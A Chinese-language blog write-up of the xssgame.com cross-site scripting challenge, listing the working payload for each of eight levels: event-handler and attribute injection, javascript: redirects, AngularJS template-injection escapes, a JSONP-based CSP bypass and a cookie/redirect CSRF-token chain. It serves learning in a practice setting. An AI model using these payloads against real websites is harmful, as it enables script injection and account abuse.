xss挑战赛小记 0x03(xssgame)
0x00
继续做xss吧
这次是xssgame
地址 http://www.xssgame.com/
一共八关 学到了很多东西
0x01
啥也没有
<svg/onload="alert(1)">
0x02
显然是这个点了
');alert(1)(' 就行了 多个属性用分号间隔
换行回车也行
0x03
换图片的时候发现#1 这个东西 找了下显然是这个点
双引号没有成功 试了下单引号
#1.jpg' onload="alert(1)" 然后就是这样了
0x04
welcomewelcome下有个sign up 点击到singup下 signup?next=confirm 输入email之后到confirm下 自动跳转 confirm?next=welcome
一直是这样的循环 confirm下是一个自动跳转到welcome的
想到了伪协议 javascript:alert(1) 这就弹了
0x05
发现表单里还有两个隐藏的input
但是输入好像都不行
没辙看了wp 发现是一个angular js模板注入
ng-non-bindable这个下所有的属性都不会解析怪不得怎么闭合都没用
在campaign这个参数下
google出来的payload
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1
)');}} 不能弹
但是wp给的payload可以
{{$eval(
两个隐藏的input的name参数都可以弹
0x06
还是angular模板 找了对应版本的注入payload
发现不行
单引号被转为实体字符了
试了一下get发送参数 发现会显示在form上
但是{会被吃掉
wp的意思是因为会经过模板的渲染 所以可以用实体字符
{用来代替{
{{a=%27constructor%27;b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,%27alert(1)%27)()}}
{{$eval(%27alert(1)%27)}}
0x07
这道题说的是csp的绕过
Content-Security-Policy:default-src http://www.xssgame.com/f/d9u16LTxchEi/ http://www.xssgame.com/static/
观察页面 可见?menu=YWJvdXQ= 后面的参数会被base64解码
<script src="jsonp?menu=about"></script>这个东西就比较有意思了
搜了一下jsonp xss 提到了jsonp有个callback这个参数可能导致xss
传参给menu经过base加密的就好了
<script src="jsonp?callback=alert(1)"></script>
0x08
csp和前一题没有区别
有两个表单发给不同的地方 set和transfer
transfer的amount参数要求为数字 如果不为数字则会被显示
像是一个xss的点
插入xss代码发现不允许弹框 因为csrf_token的问题
仔细观察可以发现set表单下有些东西
首先可以设置name
同时设置的东西是存在cookie里面的
这样就可以控制csrf_token
其次redirect是控制跳转的
这样就可以通过设置csrf_token然后跳转到transfer下弹框
set?name=csrf_token&value=xx&redirect=transfer?name=attacker&amount=xxx"><script>alert(1)</script>&csrf_token=xx
但是不知道为啥 如果符号不经过url编码就不能成功
0x0X
这次其实还是一般参考了wp
暂时也只能做得出来简单的xss了
但是还是学习了一些新的姿势